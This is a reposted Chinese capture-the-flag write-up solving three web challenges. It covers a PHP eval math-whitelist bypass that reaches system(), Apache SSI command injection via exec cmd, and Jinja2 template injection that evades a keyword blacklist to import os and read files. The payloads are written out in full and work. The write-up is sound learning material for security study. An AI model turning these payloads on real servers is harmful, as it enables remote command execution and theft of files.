[BT]BUUCTF刷题第25天（4.28）

第25天（共3题）

Web

[CISCN 2019 初赛]Love Math

在这里插入图片描述
打开网站就是一段泄露的源代码：

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

需要传递的是GET方法的c，对其过滤一些特殊字符并且限制长度小于80，而且只能用到白名单里包含的数学函数

这里我们考虑传进去一个新的GET方法，让这个方法执行我们的命令

首先需要构造_GET参数，我们需要一个函数能够把数字转成字符，也就是hex2bin函数

hex2bin函数可以用于将十六进制值的字符串转换为ASCII字符

但是白名单没有这个函数，但是有base_convert函数

base_convert 是 PHP 中用于在任意进制之间转换数字的函数。它的语法是 base_convert(number, frombase, tobase)，其中 number 是要转换的数字，frombase 是数字原来的进制，tobase 是要转换到的进制。

通过该函数获得hex2bin（PHP中可以用字符串等效函数名）：

base_convert(37907361743,10,36)            //37907361743是hex2bin是36进制转换到10进制的结果

也就是逆转换就能得到hex2bin了，接下来获得_GET：

base_convert(37907361743,10,36)(dechex(1598506324))
//这里dechex将参数转为16进制，hex2bin再将16进制转换成_GET这几个字符

dechex函数用于将给定的十进制数转换为等效的十六进制数

直接用_GET是不行的，因为只有$_GET才能传递GET参数，因此这里尝试在_GET前加上$

由于

$abs = _GET
即$abs=base_convert(37907361743,10,36)(dechex(1598506324))$$abs = $_GET		//abs是白名单里的一个函数，这里当作了变量名来使用

然后是完整的Payload：

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{1}($$abs{2})&1=system&2=ls

总共有3个参数：c、1 和 2（用数字作参数名是因为字母被过滤了，所以system和接下来的ls等命令都要用新的GET参数值传进去，这样才不用接受检查了）

上面的Payload翻译过来其实就是：

?c=$_GET[system]($_GET[ls]);
也就是
system(ls);

在这里插入图片描述

[BJDCTF2020]EasySearch

在这里插入图片描述

一个登录网页，查看题解得知有一个泄露的index.php.swp，访问即可查看

在这里插入图片描述

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>

主要就是密码的MD5值的前六位需要等于6d0bc1

以下满足条件：
2020666
2305004
9162671

在这里插入图片描述

成功登录，在网络一栏发现新的内容：

在这里插入图片描述

public/89842b160800cfbe91016e437baacc9d95d242a1.shtml

shtml有Apache SSI 远程命令执行漏洞

shtml是一种用于SSI技术的文件——Server Side Include–SSI。
SSI是为WEB服务器提供的一套命令，这些命令只要直接嵌入到HTML文档的注释内容之中即可

访问http://5aea4255-5009-411e-b8e1-298b79c2dc53.node5.buuoj.cn:81/public/89842b160800cfbe91016e437baacc9d95d242a1.shtml

在这里插入图片描述
容易产生ssi注入，此处注入格式为：<!--#exec cmd="命令" -->

注意注入的页面不是这个shtml，这个页面是用来看回显内容的，要注入的话得从最开始的首页：

<!--#exec cmd="ls ../"-->

在这里插入图片描述

现在这个页面注入，然后按照刚刚的流程找到shtml的地址（每次注入地址都会改变），然后访问就能看到内容：

在这里插入图片描述

这里访问flag_990c66bf85a09c664f0b6741840499b2

即<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

在这里插入图片描述

拿到flag

在这里插入图片描述

[GYCTF2020]FlaskApp

在这里插入图片描述
是一个Flask的网站，猜测存在SSTI

提示里是：

在这里插入图片描述

加密页面只是简单的将输入内容进行Base64编码后返回

在这里插入图片描述

而解密页面则会将编码内容解码并且进行模板渲染输出，存在SSTI

解密页面随便输入123就爆出了错误页面（说明开启了Debug模式）

在这里插入图片描述

同时能看到app.py的一部分代码

@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 ： {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res =  render_template_string(tmp)              //说明存在模板注入

尝试

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}
{% endfor %}

通过'__builtins__'下的open函数执行读取app.py的命令

builtins 内建模块的引用，在任何地方都是可见的(包括全局)，每个 Python 脚本都会自动加载，这个模块包括了很多强大的 built-in 函数，例如eval, exec, open等

注意要先加密再复制编码后的内容来解密

在这里插入图片描述

WAF代码：

def waf(str):black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]for x in black_list :if x in str.lower() :return 1

过滤了flag、os、system、popen、eval等

但是可以通过拼接的方式绕过检测

先查看当前目录：

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}								  
{% endfor%}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url='o'%2B's'&pos_id=img-bL2Sm4kh-1714321984228).listdir('/')}}{% endif %}{% endfor %}

发现了this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}								  
{% endfor%}

拿到flag

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/829975.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

CSS:css简介

CSS:css简介

CSS 层叠样式表 css简介 给html设置样式,美化css,实现结构和样式的分离 css的编写位置 1,行内样式(内联样式) 在标签内添加属性 不能复用,没有体现结构和样式的分离 style"" //在style属性内添加样式,样式以名值对形式存在2,内部样式 在单独的style标签(写在…
阅读更多...
CV数据增强

CV数据增强

使用python写一个对一个文件夹中的图像进行批量可以自定义数据增强程度的翻转、旋转、缩放、裁剪、亮度调整、对比度调整、噪声添加、噪声添加、颜色变换、弹性变形这些方法的代码 import os import cv2 import numpy as np import random# 定义数据增强方法 def flip(image, …
阅读更多...
【LeetCode刷题记录】简单篇-70-爬楼梯

【LeetCode刷题记录】简单篇-70-爬楼梯

【题目描述】 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 【测试用例】 示例1&#xff1a; 输入&#xff1a;n 2 输出&#xff1a;2 解释&#xff1a;有两种方法可以爬到楼顶。 1.1阶 1阶…
阅读更多...
electron 数据持久化方案

electron 数据持久化方案

在 Electron 应用中实现数据持久化的方案多种多样&#xff0c;主要取决于你的具体需求&#xff0c;比如数据的大小、安全性要求、以及是否需要与云端同步等。以下是几种常见的数据持久化方法&#xff1a; 本地文件存储&#xff1a; JSON 文件&#xff1a;对于配置信息或小量数据…
阅读更多...
C语言-------实现贪吃蛇小游戏

C语言-------实现贪吃蛇小游戏

目录 一、预备知识 1.1 Win32 API介绍 Windows 这个多作业系统除了协调应用程序的执行、分配内存、管理资源之外&#xff0c; 它同时也是一个很大的服务中心&#xff0c;调用这个服务中心的各种服务&#xff08;每一种服务就是一个函数&#xff09;&#xff0c;可以帮应用程…
阅读更多...
PyVista 3D数据可视化 Python 库 简介

PyVista 3D数据可视化 Python 库 简介

Pyvista是一个用于科学可视化和分析的Python库 &#xff1b;我认为它适合做一些网格数据的处理&#xff1b; 它封装了VTK&#xff08;Visualization Toolkit&#xff09;之上&#xff0c;提供了一些高级接口&#xff0c; 3D数据可视化变得更加简单和易用。 1.安装 pyvista&…
阅读更多...
SpringMVC进阶（自定义拦截器以及异常处理）

SpringMVC进阶（自定义拦截器以及异常处理）

文章目录 1.自定义拦截器1.基本介绍1.说明2.自定义拦截器的三个方法3.流程图 2.快速入门1.Myinterceptor01.java2.FurnHandler.java3.springDispatcherServlet-servlet.xml配置拦截器4.单元测试 3.拦截特定路径1.拦截指定路径2.通配符配置路径 4.细节说明5.多个拦截器1.执行流程…
阅读更多...
LeetCode 150. 逆波兰表达式求值

LeetCode 150. 逆波兰表达式求值

LeetCode 150. 逆波兰表达式求值 1、题目 题目链接&#xff1a;150. 逆波兰表达式求值 给你一个字符串数组 tokens &#xff0c;表示一个根据 逆波兰表示法 表示的算术表达式。 请你计算该表达式。返回一个表示表达式值的整数。 注意&#xff1a; 有效的算符为 ‘’、‘-’、…
阅读更多...
Windows电脑的显存容量查看

Windows电脑的显存容量查看

要查看Windows电脑的显存容量&#xff0c;可以按照以下步骤进行&#xff1a; 1、通过系统信息查看&#xff1a; 在Windows操作系统中&#xff0c;您可以使用系统信息来查看显存容量。 按下Win键 R打开“运行”对话框&#xff0c;然后输入“msinfo32”并按回车键。 在打开的系…
阅读更多...
移动端H5页面使用Vant组件库下拉刷新和页面滚动事件冲突

移动端H5页面使用Vant组件库下拉刷新和页面滚动事件冲突

Vant组件库van-pull-refresh踩坑 van-pull-refresh在开发过程会和内容中最近的拥有overflow的元素的滚动发生冲突&#xff0c;造成向上滑动的时候会下拉加载 <van-pull-refresh v-model"refreshing" refresh"onRefresh"><van-listv-model"…
阅读更多...
如何基于Zookeeper实现注册中心模型？

如何基于Zookeeper实现注册中心模型？

在分布式系统中&#xff0c;通常会存在几十个甚至上百个服务&#xff0c;开发人员可能甚至都无法明确系统中到底有哪些服务正在运行。另一方面&#xff0c;我们很难同时确保所有服务都不出现问题&#xff0c;也很难保证当前的服务部署方式不做调整和优化。由于自动扩容、服务重…
阅读更多...
若依ruoyi-vue中图标使用介绍

若依ruoyi-vue中图标使用介绍

图标使用 使用方式 若依ruoyi-vue中使用全局 Svg Icon 图标组件。地址&#xff1a;src\components\SvgIcon\index.vue 该组件是在src\assets\icons\index.js文件中被注册为全局组件的&#xff0c;可以在项目任意地方使用。所有的图标都在src\assets\icons\svg目录下。可自行添…
阅读更多...
tableau如何传参数到MySQL数据库

tableau如何传参数到MySQL数据库

1、打开tableau连接本地MySQL-》新建自定义sql-》创建参数 2、新建一个简单的工作表-》把维度拖拽到行显示结果-》右键显示参数 3、参数传递到数据库sql写法 select * from yonghu where yonghu.姓名 like concat(%,<参数.姓名>,%)select * FROMabadata4WHERE abadata4…
阅读更多...
css代码的定位及浮动

css代码的定位及浮动

上次&#xff0c;我们解除了css的内外边距、鼠标悬停及其练习。现在我们学习css元素练习和定位。 元素转换 元素分为块元素、行元素和行内块。 display 显示&#xff1a;转换元素的类型 display:inline; display:block; display:inline-block; display:none;元素隐藏…
阅读更多...
基于STM32单片机的汽车胎压、速度及状态监测系统设计与实现

基于STM32单片机的汽车胎压、速度及状态监测系统设计与实现

基于STM32单片机的汽车胎压、速度及状态监测系统设计与实现 摘要&#xff1a; 随着汽车电子技术的快速发展&#xff0c;车辆状态实时监控系统的需求日益增长。本文设计并实现了一种基于STM32单片机的汽车胎压、速度及状态监测系统。该系统能够实时监测汽车的胎压、速度以及其他…
阅读更多...
MCU自动测量单元：自动化数据采集的未来

MCU自动测量单元：自动化数据采集的未来

随着科技的飞速发展&#xff0c;自动化技术在各个领域中的应用日益广泛。其中&#xff0c;MCU(微控制器)自动测量单元以其高效、精准的特性&#xff0c;成为自动化数据采集领域的佼佼者&#xff0c;引领着未来数据采集技术的革新。本文将深入探讨MCU自动测量单元的原理、优势以…
阅读更多...
实习面试算法准备之图论

实习面试算法准备之图论

这里写目录标题 1 基础内容1.1 图的表示1.2图的遍历 2 例题2.1 所有可能的路径 1 基础内容 图没啥高深的&#xff0c;本质上就是个高级点的多叉树而已&#xff0c;适用于树的 DFS/BFS 遍历算法&#xff0c;全部适用于图。 1.1 图的表示 图的存储在算法题中常用邻接表和邻接矩…
阅读更多...
庆祝我在CSDN上创作满四年：分享知识，共同成长

庆祝我在CSDN上创作满四年：分享知识，共同成长

引言&#xff1a; 今天&#xff0c;我非常高兴地迎来了在CSDN平台上创作四周年的纪念日。这四年对我来说既是挑战也是成长&#xff0c;我在这里记录了自己的技术探索和心得体会&#xff0c;也收获了来自社区的宝贵知识和友谊。 正文&#xff1a; 创作初衷&#xff1a; 开始在C…
阅读更多...
SUSE Linux Rsync+inotify精准系统同步配置实战

SUSE Linux Rsync+inotify精准系统同步配置实战

配置不难，也可以说难，这完全取决于需求。一.服务器状况： NFS文件服务器，存储提交的附件和图片。希望搭建一个在线的备份文件服务器，实现主服务和备份服务器之间的文件的实时同步。 Filesserver:/tmp # lsb_release -a LSB Version: n/a Distributor ID: SUSE Descri…
阅读更多...
84.柱形图中最大的矩阵

84.柱形图中最大的矩阵

二刷终于能过了. 思路解析: 不愧是hard,第一步就很难想, 对于每一个矩阵,我们要想清楚怎么拿到最大矩阵, 对于每个height[i],我们需要找到left和right,left是i左边第一个小于height[i]的,right是右边第一个小于height[i]的,那么他的最大矩阵就是height[i] * (right-left-…
阅读更多...
最新文章

Copyright @ 2022~2023